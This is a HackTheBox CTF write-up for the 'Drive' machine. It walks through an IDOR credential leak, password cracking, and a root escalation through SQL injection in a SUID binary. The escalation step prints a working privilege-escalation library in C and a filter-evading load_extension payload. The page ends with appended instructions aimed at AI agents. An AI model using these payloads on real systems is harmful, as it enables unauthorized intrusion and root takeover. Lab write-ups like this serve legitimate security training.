# Drive

{% embed url="<https://app.hackthebox.com/machines/Drive>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

The reconnaissance phase began with a Nmap scan, revealing two open ports, SSH on port 22 and HTTP on port 80, along with one filtered port 3000. Subsequent investigation focused on the HTTP service, leading to the discovery of an IDOR vulnerability that allowed access to files and exposed credentials belonging to a user named `martin`, granting access via SSH.&#x20;

Leveraging these credentials, access was gained to a Gittea instance running on internal port 3000. This access allowed for the retrieval of a password, facilitating access to archived database backups. Additionally, database backups were found on the machine, which, upon examination, yielded credentials for another user named `tom`. Utilizing these credentials, access was obtained to the user account, where the user flag was discovered in the home directory.

The next phase involved privilege escalation, achieved through the exploitation of a SUID binary found on the system. Decompilation and analysis of the binary revealed a SQL injection vulnerability that could be exploited to execute arbitrary SQL commands. By leveraging this vulnerability, the `load_extension()` function within SQLite could be utilized to load external libraries. By crafting a payload to load shared library exploit the SUID capability, it became possible to escalate privileges to root, thereby gaining full control over the system

## Recon

First we start with a simple nmap scan, we find three ports, two of them open and one filtered. Interesting. After another scan, this one is closed. So initially we are only dealing with port 22 SSH and port 80 a web server.

<figure><img src="/files/1T9eejac3wNnwUVFAT0A" alt=""><figcaption></figcaption></figure>

So we only have the web server as a possible entry point. We run Gobuster and enumerate the pages manually in the meantime.

<figure><img src="/files/l5iece4kHXvBk5Cs6KeR" alt=""><figcaption></figcaption></figure>

We have the option of registering and logging in. We may find more functionalities that we can use. So we create an account…

<figure><img src="/files/5ivTS066izOfyYDGVAUX" alt=""><figcaption></figcaption></figure>

…and log in.

<figure><img src="/files/14XXX3hvsxopJJ0DYi8f" alt=""><figcaption></figcaption></figure>

We have a dashboard infront of us and can upload and view files. You can group, lock and unlock them.

<figure><img src="/files/FdfNCwNikrdneFUxtAKM" alt=""><figcaption></figcaption></figure>

Viewing the content does not initiate a request.

<figure><img src="/files/mLCqXVML6W3PXuQ55aZI" alt=""><figcaption></figcaption></figure>

All right then. Let's create a file first and see what happens.

<figure><img src="/files/nt0JBlVZpTObqjTG50pR" alt=""><figcaption></figcaption></figure>

Navigating to `Files → show My Files`. Here we are able to view all of our files.

<figure><img src="/files/QU45KP2Xl79dgixrWXQL" alt=""><figcaption></figcaption></figure>

And this is where it gets interesting. Apparently, IDs are used to view the file. And can be viewed via \
`/getFileDetail/`. Perhaps we are dealing with a simple IDOR vulnerability here and can access other files that may be able to help us.

<figure><img src="/files/5ItYVkKyJXDQVbI6r1H2" alt=""><figcaption></figcaption></figure>

We start Burp Suite. We send a request, intercept it and forward it directly to the Intruder module. Furthermore, we mark the ID and adjust the payload.

<figure><img src="/files/zgzE4SJvEZNBrvV6Cp4j" alt=""><figcaption></figcaption></figure>

We want numbers from -1 to 200, which should be enough.

<figure><img src="/files/RgeCpAZIuryNKDkCgExD" alt=""><figcaption></figcaption></figure>

And we have a few results, predominantly 500 server error results, but also 200s, files to which we have access and 401, files to which we have no access. Too bad, but at least we have identified them.

<figure><img src="/files/r72ksqeiLZc1UVN9A4DS" alt=""><figcaption></figcaption></figure>

## Foothold: Gaining Access As Martin

When clicking through the page, hoping to have another option than `getFileDetai`l we did not find it. So let's use FuFF, maybe we can find unprotected access to the files.

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://drive.htb/112/FUZZ
```

And we find many more, and `/block` is our candidate.

<figure><img src="/files/lI0DvVpmy3zuwl8nI94v" alt=""><figcaption></figcaption></figure>

We found credentials for the user Martin on ID `79`. The other entries seem to have a chat-like history, which is of no further interest.

<figure><img src="/files/OJxN0dcJqoLqjklll6jA" alt=""><figcaption></figcaption></figure>

The user himself does not have the user flag, which is too bad. But that would have been too easy. We have other users on the system. So we'll probably have to escalate through them.

<figure><img src="/files/frWCS0zczpR2TrhLVQAJ" alt=""><figcaption></figcaption></figure>

## Lateral Movement: Advancing To Tom

Instead, we find a lot of backups in `/var/www/htm`l of a database, possibly that of the application. Perhaps the credentials of other users are hidden here. Unfortunately, the zip archives are password-protected. So you have to find that first.

<figure><img src="/files/z03iv6lbSFb6gawirCRG" alt=""><figcaption></figcaption></figure>

We actually find credentials in the non-archived database, but they don't seem to be usable.

<figure><img src="/files/ypBqsuniWF3Iif70iwtP" alt=""><figcaption></figcaption></figure>

Further internal ports were noticed during subsequent enumerations. Port 3000 is the filtered one from our initial scan. Perhaps we will find more here.

<figure><img src="/files/0vwWwjjuE7bMsQA6x7j3" alt=""><figcaption></figcaption></figure>

With a quick check via cURL, we see that a Gitea instance is running on port 3000.

<figure><img src="/files/MdYHQeM9noujdDszvPGt" alt=""><figcaption></figcaption></figure>

We use local port forwarding via SSH to make the port reachable for our attacker machine and to further enumerate Gitea.

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ ssh -L 3000:127.0.0.1:3000 martin@drive.htb
```

We find two users, `crisDisel` and `martinCruz`.&#x20;

<figure><img src="/files/5hi05v5YLsjiNTECV0c6" alt=""><figcaption></figcaption></figure>

We have SSH credentials for the user `martin`; it is possible that the same person is behind these two users, `martin` and `martincurz`. So let's try his credentials in the hope that they have been reused. And we are able to log in. Nice.

<figure><img src="/files/0MUBcPKPoRIBbHyH6MRi" alt=""><figcaption></figcaption></figure>

Here we find a backup script that is linked to the backups in `/var/www/backup`. And also the password for the zip files.

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ scp -r martin@drive.htb:/var/www/backups backups
```

We use SCP to fetch the archives to our machine, unzip the archives with the found password and extract the hashes of the respective databases. We create a file with all hashes and crack it using hashcat.

<figure><img src="/files/5MYgXMNAKp7WJ3zI3Dag" alt=""><figcaption></figcaption></figure>

Here we have only taken the database that contains a valid password `1_NOV_db_backup.sqlite3`.

<figure><img src="/files/ZvJnGgUUyD98xuNiu7jf" alt=""><figcaption></figcaption></figure>

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ hashcat -m 124 drive.txt /usr/share/wordlists/rockyou.txt
```

And we have a password.

<figure><img src="/files/in4V6eZ3mI5Q1uDTwxiQ" alt=""><figcaption></figcaption></figure>

We create a file with the users of the machine.

{% code title="users.txt" %}

```
cris 
git 
root
tom
```

{% endcode %}

Using Hydra, we find the user `tom`, who can log in via SSH with the cracked password from 1`_NOV_db_backup.sqlite3`.

<figure><img src="/files/wOjhrQcJM7nzcQgA2j9m" alt=""><figcaption></figcaption></figure>

We log in and find the user flag in his home directory. We also find a SUID binary directly. This probably means reverse engineering and binary exploitation to extend our privileges.

<figure><img src="/files/23GQRrLUdX5rfdnaoXWh" alt=""><figcaption></figcaption></figure>

## Privilege Escalation: Root Privileges

As already mentioned, the SUID binary stands out. We bring this onto our system using SCP.

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ scp tom@drive.htb:/home/tom/doodleGrive-cli doodleGrive.cli
```

<figure><img src="/files/fXtYumd4DcZUHgjihIEh" alt=""><figcaption></figcaption></figure>

We decompile the binary means ghidra and analyze it. We find a query for a user with a password in the main function. If this query is solved correctly, it goes to the function `main_menu()`. From here, there are various function calls. Particularly noticeable in the analysis is `activate_user_account()`. This updates the entered user in an SQLite database. Interesting; this could be our entry point. Using SQL injection, it would be possible to exploit the SUID binary here, but how?

{% code overflow="wrap" %}

```bash
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
```

{% endcode %}

<figure><img src="/files/LIzTShPX03p0AyjamMhX" alt=""><figcaption><p>main() → main_menu() → activate_user_account()</p></figcaption></figure>

It should also be noted that there is a sanitization of the user input, so it will not be easy.

<figure><img src="/files/WROu4OjIynS4XxUOImBz" alt=""><figcaption></figcaption></figure>

For each character in the input string, it checks if the character matches any of the characters in `local_29`. `0x5c7b2f7c20270a00` are hexadecimal values sequence of characters or bytes that the sanitize\_string function aims to remove from the input string.

When interpreted as ASCII characters, the hexadecimal values correspond to the following bytes:

0x5c: Backslash\
0x7b: Left curly brace { \
0x2f: Forward slash / \
0x7c: Vertical bar | \
0x20: Space character \
0x27: Single quote ' \
0x0a: Line feed (newline) character \
0x00: Null terminator (end of string)

Let's go ahead and research ways to achieve remote code execution via SQLite injection. PayloadAllTheThings has noticed `load_extension()`. Here, it seems as if you can reload a library that has been executed. So we could build a library that, for example, uses the SUID property when loading and copies `/bin/bash` as root for us and sets the SUID bit.

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#remote-command-execution-using-sqlite-command---load_extension>" %}

The following source writes that the probability of being able to exploit this vulnerability is very low. But we can still try.

{% embed url="<https://github.com/mpaolino/sqlite-execute-module>" %}

We put the payload aside for the time being and take care of how we build the library.

```
UNION SELECT 1,load_extension('/path/to/sqlite-execute-module.so');--
```

As we are very limited in terms of injection, we chose a very short name. We have to take this into account when naming the entry point name. So that the name `sqlite_<libname>_init` is used for initiation. It is actually intended to avoid conflicts when linking several static extensions.

{% embed url="<https://www.sqlite.org/loadext.html>" %}

{% embed url="<https://www.sqlite.org/c3ref/load_extension.html>" %}

<figure><img src="/files/pvHFMGjyksO5O4fvzRLF" alt=""><figcaption></figcaption></figure>

As described, we build a library that copies `/bin/bash` and sets the SUID bit. We select the `sqlite3_e_init` function for initialization, as the library will later be called `e.so`.

{% code title="exp.c" lineNumbers="true" %}

```c
#include <stdlib.h>
#include <unistd.h>
void sqlite3_e_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/cp /bin/bash /tmp/bash");
    system("/usr/bin/chmod +xs /tmp/bash");
}
```

{% endcode %}

The command `gcc -g -fPIC -shared exp.c -o e.so` compiles the source file `exp.c` into a shared library named `e.so`. Here's what each option does:

* `-g`: Includes debugging information in the compiled output, which can be useful for debugging with tools like GDB.
* `-fPIC`: Generates position-independent code, which is necessary for creating shared libraries.
* `-shared`: Specifies that the output should be a shared library.

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ gcc -g -fPIC -shared exp.c -o e.so
```

<figure><img src="/files/ZEvNIS1qRhyoQsX484Xm" alt=""><figcaption></figcaption></figure>

We copy the library to the machine.

<figure><img src="/files/4lRAGSbxoVV9Za2YALma" alt=""><figcaption></figcaption></figure>

Now comes the difficult part. Unfortunately, we cannot integrate the library directly because of the special characters `.` ,`/`and `'` are sanitized as described above. One possibility would be to encode the path via `char()`. So that the library `./e` can be called via `char(46,47,101)` in `load_extension().`

```
"+load_extension(char(46,47,101))+"
```

We execute `doodleGrive-cli`, enter the username `moriarty` and his credentials are found in the source code. Next, we chose option `5` and pasted it in the payload, to load the crafted library.

<figure><img src="/files/X7Vy7tVEyiXICkrvsTzT" alt=""><figcaption></figcaption></figure>

After successful execution, a bash SUID binary is created in `/tmp`. With that, we can escalate our privileges to get a root shell. The flag can be found in `/root/root.txt`.

<figure><img src="/files/Fg93s7lkBMB6IZBhtoPb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hackthebox/2024/drive.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
